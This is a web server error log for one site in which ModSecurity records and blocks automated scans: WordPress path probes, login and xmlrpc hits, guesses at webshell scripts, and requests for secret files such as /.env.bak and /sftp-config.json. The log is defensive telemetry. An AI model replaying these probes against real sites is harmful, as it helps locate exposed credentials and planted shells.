[Wed Mar 11 20:57:18.002507 2026] [:error] [pid 44995:tid 45003] [client 159.223.95.141:54958] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "abFmrjoOSr9ks_axo6PTRQAAAkY"]
2026/03/11 20:57:18 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/wp2/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
[Wed Mar 11 20:57:18.090601 2026] [:error] [pid 45143:tid 45153] [client 159.223.95.141:54960] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abFmriEXSpYdWImkpzb1LAAAAYg"]
2026/03/11 20:57:18 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/site/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
[Wed Mar 11 20:57:18.179435 2026] [:error] [pid 44995:tid 45013] [client 159.223.95.141:54962] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abFmrjoOSr9ks_axo6PTRgAAAlA"]
2026/03/11 20:57:18 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/cms/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
[Wed Mar 11 20:57:18.267822 2026] [:error] [pid 44995:tid 45010] [client 159.223.95.141:54966] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abFmrjoOSr9ks_axo6PTSAAAAk0"]
2026/03/11 20:57:18 [error] 53948#53948: *1096055 upstream prematurely closed connection while reading response header from upstream, client: 159.223.95.141, server: agraphics.com.au, request: "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1", upstream: "http://103.4.122.14:8181/sito/wp-includes/wlwmanifest.xml", host: "agraphics.com.au"
[Wed Mar 11 20:57:18.355656 2026] [:error] [pid 44995:tid 45012] [client 159.223.95.141:54968] [client 159.223.95.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abFmrjoOSr9ks_axo6PTSQAAAk8"]
[Thu Mar 12 00:11:25.169342 2026] [:error] [pid 44995:tid 45007] [client 172.98.33.4:57730] [client 172.98.33.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abGULToOSr9ks_axo6MyTAAAAko"]
[Thu Mar 12 00:11:25.186594 2026] [proxy_fcgi:error] [pid 44995:tid 45007] [client 172.98.33.4:57730] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 00:17:27.586898 2026] [:error] [pid 54045:tid 54066] [client 172.98.33.15:35108] [client 172.98.33.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abGVlyRcKzQ1f-N8TgQcogAAANM"]
[Thu Mar 12 00:17:27.598678 2026] [proxy_fcgi:error] [pid 54045:tid 54066] [client 172.98.33.15:35108] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 02:09:42.863021 2026] [:error] [pid 55266:tid 55336] [client 45.132.115.245:51718] [client 45.132.115.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abGv5psmvC-0sL-4DxH2hAAAAJg"]
[Thu Mar 12 02:17:51.794998 2026] [:error] [pid 55587:tid 55606] [client 169.224.13.15:57380] [client 169.224.13.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abGxz4vUDIu2al9Vqa8jggAAAQc"]
[Thu Mar 12 04:02:14.108127 2026] [:error] [pid 63147:tid 63165] [client 45.132.115.247:42814] [client 45.132.115.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abHKRmNUKt1CWUFbzBdtcQAAAAM"]
[Thu Mar 12 04:59:12.723587 2026] [:error] [pid 63256:tid 63274] [client 172.98.33.5:43264] [client 172.98.33.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abHXoAhgyalB3r3y_ThHbQAAAMo"]
[Thu Mar 12 06:58:19.890114 2026] [:error] [pid 51540:tid 51554] [client 146.70.181.42:52020] [client 146.70.181.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.181.42, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abHzi2OFFjotMIN2UD0reAAAAMw"]
[Thu Mar 12 06:58:19.903972 2026] [proxy_fcgi:error] [pid 51540:tid 51554] [client 146.70.181.42:52020] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 07:42:05.402998 2026] [:error] [pid 51457:tid 51516] [client 95.111.234.66:43188] [client 95.111.234.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "abH9zSjknw2FvT4H3DZ2ywAAAII"]
[Thu Mar 12 14:15:16.409146 2026] [:error] [pid 8249:tid 8272] [client 136.144.33.155:52973] [client 136.144.33.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.155, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abJZ9CK5dL3-8Jdf0M2EeAAAARU"]
[Thu Mar 12 14:15:16.422015 2026] [proxy_fcgi:error] [pid 8249:tid 8272] [client 136.144.33.155:52973] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 18:23:27.166170 2026] [:error] [pid 51540:tid 51553] [client 103.65.236.149:62516] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "abKUH2OFFjotMIN2UD3mCAAAAMs"]
[Thu Mar 12 21:06:43.709012 2026] [:error] [pid 20467:tid 20490] [client 49.43.116.212:24321] [client 49.43.116.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.116.212, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abK6Y3J3UvosyIqy8ayncwAAApQ"]
[Thu Mar 12 21:06:43.721943 2026] [proxy_fcgi:error] [pid 20467:tid 20490] [client 49.43.116.212:24321] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 22:27:51.747208 2026] [:error] [pid 11953:tid 11973] [client 34.73.169.135:60716] [client 34.73.169.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.169.135, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abLNZ5udzqsnq3bvtDZmtwAAAVI"]
[Thu Mar 12 22:27:51.758794 2026] [proxy_fcgi:error] [pid 11953:tid 11973] [client 34.73.169.135:60716] AH01071: Got error 'Primary script unknown'
[Thu Mar 12 22:27:54.307872 2026] [:error] [pid 11953:tid 11955] [client 34.73.169.135:60716] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abLNapudzqsnq3bvtDZmygAAAUA"]
[Thu Mar 12 22:27:54.854953 2026] [:error] [pid 8249:tid 8266] [client 34.73.169.135:51468] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abLNaiK5dL3-8Jdf0M2J4gAAAQ8"]
[Thu Mar 12 22:27:55.319676 2026] [:error] [pid 20467:tid 20485] [client 34.73.169.135:51984] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "abLNa3J3UvosyIqy8ayxzQAAAo8"]
[Thu Mar 12 22:27:55.836096 2026] [:error] [pid 8249:tid 8274] [client 34.73.169.135:52290] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abLNayK5dL3-8Jdf0M2J5QAAARc"]
[Thu Mar 12 22:27:56.304084 2026] [:error] [pid 51457:tid 51537] [client 34.73.169.135:49228] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abLNbCjknw2FvT4H3DbUEgAAAJc"]
[Thu Mar 12 22:27:56.795556 2026] [:error] [pid 20528:tid 20551] [client 34.73.169.135:62754] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abLNbKnDNsf46-tKxqka2gAAAxE"]
[Thu Mar 12 22:27:57.257126 2026] [:error] [pid 20467:tid 20476] [client 34.73.169.135:64249] [client 34.73.169.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abLNbXJ3UvosyIqy8ayxzgAAAoY"]
[Fri Mar 13 00:28:07.330942 2026] [:error] [pid 48029:tid 48038] [client 2.51.25.49:45612] [client 2.51.25.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.51.25.49, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abLpl27cFKMmtdGhPH-suQAAAAc"]
[Fri Mar 13 00:28:07.343423 2026] [proxy_fcgi:error] [pid 48029:tid 48038] [client 2.51.25.49:45612] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 00:29:59.507884 2026] [:error] [pid 47894:tid 48010] [client 49.185.68.231:51294] [client 49.185.68.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.185.68.231, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abLqB5iuFpRtVNR6uOJthgAAAQg"]
[Fri Mar 13 00:29:59.523049 2026] [proxy_fcgi:error] [pid 47894:tid 48010] [client 49.185.68.231:51294] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 00:31:11.829652 2026] [:error] [pid 47893:tid 47977] [client 197.186.16.158:25656] [client 197.186.16.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.186.16.158, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abLqTwYSdu6aqxO_YucUhAAAAII"]
[Fri Mar 13 00:31:11.855424 2026] [proxy_fcgi:error] [pid 47893:tid 47977] [client 197.186.16.158:25656] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 01:01:06.770454 2026] [:error] [pid 47894:tid 48019] [client 23.92.70.5:65287] [client 23.92.70.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.92.70.5, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abLxUpiuFpRtVNR6uOJ18wAAARE"]
[Fri Mar 13 01:01:06.781293 2026] [proxy_fcgi:error] [pid 47894:tid 48019] [client 23.92.70.5:65287] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:45.485069 2026] [:error] [pid 47894:tid 48016] [client 4.205.39.42:47343] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "abMAeZiuFpRtVNR6uOKIdwAAAQ4"]
[Fri Mar 13 02:05:51.110118 2026] [:error] [pid 56003:tid 56014] [client 4.205.39.42:47335] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "abMAfxQtM0oeMdFWe6V3gAAAAMk"]
[Fri Mar 13 02:05:54.294113 2026] [proxy_fcgi:error] [pid 48029:tid 48044] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:54.512244 2026] [proxy_fcgi:error] [pid 48029:tid 48035] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:54.983452 2026] [proxy_fcgi:error] [pid 48029:tid 48043] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:55.265025 2026] [proxy_fcgi:error] [pid 48029:tid 48038] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:55.853351 2026] [proxy_fcgi:error] [pid 48029:tid 48037] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:56.067084 2026] [proxy_fcgi:error] [pid 48029:tid 48045] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:56.284832 2026] [proxy_fcgi:error] [pid 48029:tid 48046] [client 4.205.39.42:45691] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 02:05:56.780397 2026] [:error] [pid 48029:tid 48034] [client 4.205.39.42:45691] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMAhG7cFKMmtdGhPH_R1AAAAAM"]
[Fri Mar 13 02:06:00.079748 2026] [:error] [pid 48029:tid 48031] [client 4.205.39.42:39992] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMAiG7cFKMmtdGhPH_R2AAAAAA"]
[Fri Mar 13 02:06:03.322682 2026] [:error] [pid 56003:tid 56020] [client 4.205.39.42:39958] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMAixQtM0oeMdFWe6V3lwAAAM8"]
[Fri Mar 13 02:06:06.493367 2026] [:error] [pid 56003:tid 56016] [client 4.205.39.42:30561] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMAjhQtM0oeMdFWe6V3ogAAAMs"]
[Fri Mar 13 04:28:27.689996 2026] [proxy_fcgi:error] [pid 61929:tid 62009] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:27.814215 2026] [proxy_fcgi:error] [pid 61929:tid 62007] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:27.939109 2026] [proxy_fcgi:error] [pid 61929:tid 62022] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.087097 2026] [proxy_fcgi:error] [pid 61929:tid 62006] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.212492 2026] [proxy_fcgi:error] [pid 61929:tid 62012] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.372808 2026] [proxy_fcgi:error] [pid 61929:tid 62015] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.499682 2026] [proxy_fcgi:error] [pid 61929:tid 62019] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.624796 2026] [proxy_fcgi:error] [pid 61929:tid 62011] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:28.791291 2026] [proxy_fcgi:error] [pid 61929:tid 62023] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:30.515208 2026] [proxy_fcgi:error] [pid 61929:tid 62006] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:30.664571 2026] [proxy_fcgi:error] [pid 61929:tid 62016] [client 13.70.40.215:29508] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 04:28:30.817114 2026] [:error] [pid 61929:tid 62012] [client 13.70.40.215:29508] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "abMh7jGGsow2jgUjLtw0FAAAAIg"]
[Fri Mar 13 04:28:31.648386 2026] [:error] [pid 61928:tid 61998] [client 13.70.40.215:14926] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "abMh7wod66AHekJJZioOtgAAAFU"]
[Fri Mar 13 04:28:32.550926 2026] [:error] [pid 62036:tid 62066] [client 13.70.40.215:14916] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "abMh8Lce6g9kILuh_R7CQAAAANc"]
[Fri Mar 13 04:28:33.171379 2026] [:error] [pid 62036:tid 62044] [client 13.70.40.215:21869] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "abMh8bce6g9kILuh_R7CQwAAAME"]
[Fri Mar 13 05:18:12.211506 2026] [:error] [pid 61929:tid 62009] [client 104.28.166.127:26145] [client 104.28.166.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "abMtlDGGsow2jgUjLtxR0wAAAIU"]
[Fri Mar 13 07:43:45.253802 2026] [:error] [pid 55077:tid 55092] [client 209.87.169.94:25343] [client 209.87.169.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.94, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abNPsd9Ul5ym4M-PlQIVpAAAAU0"]
[Fri Mar 13 07:43:45.264855 2026] [proxy_fcgi:error] [pid 55077:tid 55092] [client 209.87.169.94:25343] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 08:21:03.515341 2026] [:error] [pid 55077:tid 55089] [client 136.144.35.57:53001] [client 136.144.35.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.57, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abNYb99Ul5ym4M-PlQIn4wAAAUo"]
[Fri Mar 13 08:21:03.528687 2026] [proxy_fcgi:error] [pid 55077:tid 55089] [client 136.144.35.57:53001] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 09:50:27.194318 2026] [:error] [pid 61929:tid 62020] [client 45.131.195.138:32639] [client 45.131.195.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.138, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abNtYzGGsow2jgUjLtyJ5AAAAJA"]
[Fri Mar 13 09:50:27.248103 2026] [proxy_fcgi:error] [pid 61929:tid 62020] [client 45.131.195.138:32639] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 20:08:29.482536 2026] [proxy_fcgi:error] [pid 44755:tid 44767] [client 57.128.224.81:44874] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 20:08:31.665547 2026] [:error] [pid 55077:tid 55088] [client 57.128.224.81:44906] [client 57.128.224.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "abP-P99Ul5ym4M-PlQLqAAAAAUk"]
[Fri Mar 13 20:08:32.475606 2026] [proxy_fcgi:error] [pid 44755:tid 44781] [client 57.128.224.81:44916] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:49.940218 2026] [proxy_fcgi:error] [pid 61929:tid 62014] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:50.152836 2026] [proxy_fcgi:error] [pid 61929:tid 62007] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:50.366773 2026] [proxy_fcgi:error] [pid 61929:tid 62006] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
[Fri Mar 13 22:33:50.579313 2026] [proxy_fcgi:error] [pid 61929:tid 62011] [client 4.204.233.55:38252] AH01071: Got error 'Primary script unknown'
